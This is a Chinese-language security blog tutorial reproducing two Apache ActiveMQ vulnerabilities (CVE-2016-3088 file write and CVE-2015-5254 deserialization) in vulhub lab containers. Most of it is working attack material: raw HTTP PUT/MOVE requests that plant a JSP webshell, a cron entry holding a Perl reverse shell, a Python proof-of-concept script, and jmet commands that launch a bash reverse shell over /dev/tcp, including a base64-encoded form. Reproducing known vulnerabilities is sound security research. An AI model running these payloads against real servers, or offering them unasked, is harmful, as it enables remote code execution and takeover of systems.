ActiveMQ反序列化和任意文件寫入漏洞復現與POC編寫
前 言
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。隨著中間件的啟動,會打開兩個端口,61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。
Jetty 是一個開源的 servlet 容器,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環境。ActiveMQ 5.0 及以后版本默認集成了jetty。在啟動后提供一個監控 ActiveMQ 的 Web 應用。
安裝docker-compose
Ubuntu安裝docker-compose
使用DaoCloud源下載
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
設置權限
sudo chmod +x /usr/local/bin/docker-compose

啟動ActiveMQ任意文件寫入
漏洞_CVE-2016-3088漏洞環境
漏洞影響版本
Apache ActiveMQ 5.x ~ 5.14.0
首先將漏洞環境全部Git到服務器上
git clone https://github.com/vulhub/vulhub.git
隨后進入到對應的目錄即可
docker-compose up -d
隨后會開始下載,并啟動


漏洞復現
ActiveMQ的web控制臺分三個應用,admin,api和fileserver,其中admin是管理員頁面,api是接口,fileserver是存儲文件的接口,admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計是為了彌補消息隊列操作不能傳輸,存儲二進制文件的缺陷,在5.12.x5.13.版本中,默認關閉了fileserver這個應用(可以在conf/jetty.xml中開啟),在5.14.0版本后,徹底刪除了fileserver應用。
首先直接訪問http://ip:8161

1、寫入WebShell
首先查看ActiveMQ的絕對路徑
http://ip:8161/admin/test/systemProperties.jsp

隨后使用PUT請求上傳一個SHELL

我們為了更具體的判斷上傳成功,進入docker查看是否有該文件。
find . -name "UzJu.txt"

PUT /fileserver/UzJu.txt HTTP/1.1Host: ip:8161Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMTConnection: closeContent-Length: 15 UzJu_Test....:)
隨后將文件移動到Web目錄下的API文件夾中
file:///opt/activemq/webapps/api/UzJu.jsp

MOVE /fileserver/UzJu.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/UzJu.jspHost: ip:8161Cache-Control: max-age=0Authorization: Basic YWRtaW46YWRtaW4=Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=1kj9fz5gan2yd1wstqeinp6pkhConnection: close
隨后我們查看API目錄下,確認文件是否已經移動

隨后訪問WebShell
http://ip:8161/api/UzJu.jsp

2、寫crontab彈Shell

PUT /fileserver/time.txt HTTP/1.1Host: ip:8161Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMTConnection: closeContent-Length: 241
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
寫入成功,隨后移動文件到/etc/cron.d/下

Ps: 這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。
編寫poc
這里使用Python編寫POC
其實這里還是有很多地方優化的,比如上傳與移動文件的路徑是不一定的,需要根據環境來判斷,這里只是簡單的demo
#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File :2.ActiveMQFileWrite.py@Author :UzJu@Date :2021/12/27 10:26 下午 @Email :UzJuer@163.com'''
import requests
class ActiveMQFileWrite: def __init__(self, url, username, password): self.url = url self.poc = "UzJu_test" self.path = "/fileserver/UzJu_1.txt" self.username = username self.password = password
def getUploadFile(self): result = requests.put(url=self.url + self.path, data=self.poc) if result.status_code == 204: print(f"[+]WebShell-{self.poc}寫入成功") else: print(f'[-]寫入失敗, 狀態碼:{result.status_code}')
def getAndMoveFile(self): headers = { "Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp" } result = requests.request("MOVE", url=self.url + self.path, headers=headers) if result.status_code == 204: print(f"[+]文件移動成功,請訪問,{self.url}/api/UzJu_1.jsp") else: print(f"[-]文件移動失敗,狀態碼:{result.status_code}")
def getCheckVuln(self): result = requests.get(url=self.url + "/api/UzJu_1.jsp", auth=(self.username, self.password)) if result.status_code == 200: print(f"[+]存在漏洞, Payload: {result.text}") else: print(f"[-]不存在漏洞,或文件上傳失敗,或其他原因")
if __name__ == '__main__': main = ActiveMQFileWrite('http://ip:8161', "admin", "admin") main.getUploadFile() main.getAndMoveFile() main.getCheckVuln()
運行截圖

訪問試試

參考
1.https://blog.csdn.net/nzjdsds/article/details/116102632
2.https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.md
3.https://www.secpulse.com/archives/60064.html
4.https://blog.csdn.net/cj_allen/article/details/106898020
啟動ActiveMQ反序列化
漏洞_CVE-2015-5254漏洞環境
1、執行touch命令
首先將漏洞環境全部Git到服務器上
git clone https://github.com/vulhub/vulhub.git
隨后進入到對應的目錄即可
docker-compose up -d
隨后會開始下載


隨后可以看到漏洞環境已經啟動成功。
漏洞復現
下載提供的jmet進行漏洞利用
https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0
隨后執行
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME IP 61616
Tips: 如果使用的是云服務器,需要對應提供商后臺放通安全組

隨后訪問WEB頁面
http://ip:8161/admin/browse.jsp?JMSDestination=event
賬號為admin 密碼為admin

這里可以看到有一個事件,點擊這個事件即可

可以看到已經執行了命令,新建了一個success文件。
2、反彈shell
執行命令如下
值得注意的是,關于bash反彈shell的原理,有一篇文章非常推薦
https://www.cnblogs.com/bonelee/p/11021996.html
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/1234 0>&1" -Yp ROME ip 61616
或者進行base編碼
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616

訪問WEB頁面,我們可以看到新增了一個事件,點擊事件即可,不過再次之前,我們需要使用nc監聽1234端口。

nc -lvp 1234

在點擊事件后,我們成功獲取到shell

參考
1.https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md